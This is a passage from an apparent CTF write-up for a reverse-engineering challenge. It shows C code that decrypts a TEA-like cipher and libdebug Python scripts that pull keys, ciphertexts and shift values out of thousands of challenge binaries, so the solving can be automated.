&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v170&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v171&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">i&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#111">i&lt;/span> &lt;span style="color:#f92672">&amp;lt;=&lt;/span> &lt;span style="color:#ae81ff">255&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v184&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">];&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v170&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v184&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">v170&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">key&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">v171&lt;/span>&lt;span style="color:#111">])&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">tmp&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">];&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">v170&lt;/span>&lt;span style="color:#111">];&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">v170&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">tmp&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#f92672">++&lt;/span>&lt;span style="color:#111">v171&lt;/span> &lt;span style="color:#f92672">&amp;gt;&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v171&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v168&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0xa2c473fc&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// this is the last value of v168
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">do&lt;/span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v181&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v168&lt;/span> &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> &lt;span style="color:#ae81ff">11&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> &lt;span style="color:#ae81ff">0xFF&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v183&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">v181&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">v168&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v179&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">first&lt;/span> &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> &lt;span style="color:#ae81ff">5&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">^&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">first&lt;/span> &lt;span style="color:#f92672">&amp;lt;&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v180&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v179&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">first&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">second&lt;/span> &lt;span style="color:#f92672">-=&lt;/span> &lt;span style="color:#111">v180&lt;/span> &lt;span style="color:#f92672">^&lt;/span> &lt;span style="color:#111">v183&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v168&lt;/span>&lt;span style="color:#f92672">-=&lt;/span>&lt;span style="color:#ae81ff">0x9D175C01&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// we are going backwards now
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v172&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v168&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// this we have, just decrement v168
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v175&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">S&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">v172&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">v168&lt;/span>&lt;span style="color:#111">);&lt;/span> &lt;span style="color:#75715e">// this too we have
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">uint32_t&lt;/span> &lt;span style="color:#111">v176&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">((&lt;/span>&lt;span style="color:#111">second&lt;/span> &lt;span style="color:#f92672">&amp;lt;&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">^&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">second&lt;/span> &lt;span style="color:#f92672">&amp;gt;&amp;gt;&lt;/span> &lt;span style="color:#ae81ff">3&lt;/span>&lt;span style="color:#111">))&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">second&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// use the decrypted second value to get this value
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">first&lt;/span> &lt;span style="color:#f92672">-=&lt;/span> &lt;span style="color:#111">v175&lt;/span> &lt;span style="color:#f92672">^&lt;/span> &lt;span style="color:#111">v176&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// xor this to get the decrypted first value
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span> &lt;span style="color:#111">v185&lt;/span>&lt;span style="color:#f92672">+=&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">while&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">v185&lt;/span> &lt;span style="color:#f92672">&amp;lt;=&lt;/span> &lt;span style="color:#ae81ff">0x478&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">printf&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;first = 0x%x , second = 0x%x&lt;/span>&lt;span style="color:#8045ff">\n&lt;/span>&lt;span style="color:#d88200">&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">first&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">second&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">output&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">]&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">first&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">output&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">]&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#111">second&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>using it on the cipher 0xF06203EC3D2C5B74 for the level1 with the key extracted using gdb we get&lt;/p>
&lt;p>&lt;img
src="https://nothoudaifa.github.io/r3ctf-r3loads/Screenshot_from_2025-07-07_20-13-17.png"
alt="Screenshot from 2025-07-07 20-13-17.png"
loading="lazy"
decoding="async"
class="full-width"
/>
&lt;/p>
&lt;p>it worked!!&lt;/p>
&lt;h2 id="the-auto-part">the “auto” part:&lt;/h2>
&lt;p>to start scripting decryption for the 11423 executables we first need to know what changes between them, opening the second executable and reversing it (just like in the “rev” part) i noticed that four things change:&lt;/p>
&lt;ul>
&lt;li>the key (v91)&lt;/li>
&lt;li>the constant that increments v168 is different&lt;/li>
&lt;li>the four static values that are calculated inside the loop and used for shifting&lt;/li>
&lt;li>and obviously the cipher text&lt;/li>
&lt;/ul>
&lt;p>to get the right input for any executable we have to extract these values, but first i updated my decrypt function so it uses dynamic keys, constant and shifts, you can check it &lt;a href="https://nothoudaifa.github.io/r3ctf-r3loads/dynamic-decrypt.c">here&lt;/a>.&lt;/p>
&lt;p>to extract the values dynamicly i used libdebug, since it is waaaaay faster than gdb scripting (gdb scripting would have took hours).&lt;/p>
&lt;h4 id="extracting-the-key">Extracting the key&lt;/h4>
&lt;p>we start by extracting the key, to do that i set a breakpoint at read then return from read and go four instructions after it, to reach the call for the encrypt function&lt;/p>
&lt;p>&lt;img
src="https://nothoudaifa.github.io/r3ctf-r3loads/Screenshot_from_2025-07-07_21-16-33.png"
alt="Screenshot from 2025-07-07 21-16-33.png"
loading="lazy"
decoding="async"
class="full-width"
/>
&lt;/p>
&lt;p>after that i read &lt;code>4*sizeof(unsigned int)&lt;/code> bytes of memory starting at rsi to get the key.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">from&lt;/span> &lt;span style="color:#111">libdebug&lt;/span> &lt;span style="color:#f92672">import&lt;/span> &lt;span style="color:#111">debugger&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">d&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">debugger&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#34;./beatme&amp;#34;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">pipe&lt;/span>&lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">d&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">run&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">pipe&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">send&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;a&amp;#39;&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">8&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#75715e"># send dummy data so it does not get stuck at read&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">d&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">breakpoint&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">&amp;#39;read&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">d&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">cont&lt;/span>&lt;span style="color:#111">()&lt;/span> &lt;span style="color:#75715e"># now we are the start of read&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">d&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">finish&lt;/span>&lt;span style="color:#111">()&lt;/span> &lt;span style="color:#75715e"># return for the read function&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">_&lt;/span> &lt;span style="color:#f92672">in&lt;/span> &lt;span style="color:#111">range&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">4&lt;/span>&lt;span style="color:#111">):&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">d&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">step&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># now we are at &amp;#34;call encrypt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">rsi&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">d&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">regs&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">rsi&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">data&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">d&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">memory&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">rsi&lt;/span>&lt;span style="color:#111">:&lt;/span>&lt;span style="color:#111">rsi&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">0x10&lt;/span>&lt;span style="color:#111">]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">key&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">int&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">from_bytes&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">data&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#111">:&lt;/span>&lt;span style="color:#111">i&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">4&lt;/span>&lt;span style="color:#111">],&lt;/span> &lt;span style="color:#d88200">&amp;#39;little&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">i&lt;/span> &lt;span style="color:#f92672">in&lt;/span> &lt;span style="color:#111">range&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">0x10&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#ae81ff">4&lt;/span>&lt;span style="color:#111">)]&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="extracting-the-cipher">Extracting the cipher&lt;/h4>
&lt;p>to extract the cipher from the binary, i noticed that the instructions that do the loading and comparision are always the same&lt;/p>
&lt;p>&lt;img
src="https://nothoudaifa.github.io/r3ctf-r3loads/Screenshot_from_2025-07-07_21-37-48.png"
alt="Screenshot from 2025-07-07 21-37-48.png"
loading="lazy"
decoding="async"
class="full-width"
/>
&lt;/p>
&lt;p>bytes 8b45a83d are the mov instruction and the first byte of cmp instruction, i use these to find their offset in the binary then add 4 and read a dword.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">with&lt;/span> &lt;span style="color:#111">open&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">f&lt;/span>&lt;span style="color:#d88200">&amp;#34;./beatme&amp;#34;&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#d88200">&amp;#39;rb&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#00a8c8">as&lt;/span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#111">:&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">filedata&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">read&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">a&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">filedata&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">find&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;&lt;/span>&lt;span style="color:#8045ff">\x8b\x45\xa8\x3d&lt;/span>&lt;span style="color:#d88200">&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">4&lt;/span> &lt;span style="color:#75715e"># mov eax,DWORD PTR [rbp-0x58] ; cmp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">b&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">filedata&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">find&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;&lt;/span>&lt;span style="color:#8045ff">\x8b\x45\xac\x3d&lt;/span>&lt;span style="color:#d88200">&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">4&lt;/span> &lt;span style="color:#75715e"># mov eax,DWORD PTR [rbp-0x54] ; cmp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">cipher&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">int&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">from_bytes&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">filedata&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">a&lt;/span>&lt;span style="color:#111">:&lt;/span>&lt;span style="color:#111">a&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">4&lt;/span>&lt;span style="color:#111">],&lt;/span> &lt;span style="color:#d88200">&amp;#39;little&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">|&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">int&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">from_bytes&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">filedata&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">b&lt;/span>&lt;span style="color:#111">:&lt;/span>&lt;span style="color:#111">b&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">4&lt;/span>&lt;span style="color:#111">],&lt;/span> &lt;span style="color:#d88200">&amp;#39;little&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#f92672">&amp;lt;&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">32&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h4 id="extracting-the-shift-values">Extracting the shift values&lt;/h4>
&lt;p>now we need to extract the shift values, to do that i decided to set a breakpoint at the end of the pow function and print the value at rax (return value).&lt;/p>
&lt;p>&lt;img
src="https://nothoudaifa.github.io/r3ctf-r3loads/Screenshot_from_2025-07-07_22-04-49.png"
alt="Screenshot from 2025-07-07 22-04-49.png"
loading="lazy"
decoding="async"
class="full-width"
/>
&lt;/p>
&lt;p>breakpoint is set at 0x162f.&lt;/p>
&lt;p>i knew by observation the the pow function was the same in all executables, and since we can’t hard code the address of pow cause it changes, i decided to search for the offset of pow by it’s first bytes, and we add the size of it, to reach it’s last instruction.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">powstart&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#d88200">b&lt;/span>&lt;span style="color:#d88200">&amp;#39;&lt;/span>&lt;span style="color:#8045ff">\xf3\x0f\x1e\xfa&lt;/span>&lt;span style="color:#d88200">UH&lt;/span>&lt;span style="color:#8045ff">\x89\xe5\x89&lt;/span>&lt;span style="color:#d88200">}&lt;/span>&lt;span style="color:#8045ff">\xec\x89&lt;/span>&lt;span style="color:#d88200">u&lt;/span>&lt;span style="color:#8045ff">\xe8\x89&lt;/span>&lt;span style="color:#d88200">U&lt;/span>&lt;span style="color:#8045ff">\xe4\x83&lt;/span>&lt;span style="color:#d88200">}&lt;/span>&lt;span style="color:#8045ff">\xe8\x00&lt;/span>&lt;span style="color:#d88200">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">addr&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">filedata&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">find&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">powstart&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">0x3e&lt;/span> &lt;span style="color:#75715e"># addr points to ret instruction of pow&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>now we use this to set a breakpoint and print the values at eax&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e"># after the code that extracts the key&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">d&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">breakpoint&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">addr&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">file&lt;/span>&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#d88200">&amp;#39;binary&amp;#39;&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">shifts&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">for&lt;/span> &lt;span style="color:#111">_&lt;/span> &lt;span style="color:#f92672">in&lt;/span> &lt;span style="color:#111">range&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">4&lt;/span>&lt;span style="color:#111">):&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">d&lt;/span>&lt;span style="color:#f92672">.&lt;/span>&lt;span style="color:#111">cont&lt;/span>&lt;span style="color:#111">()&lt;/span>
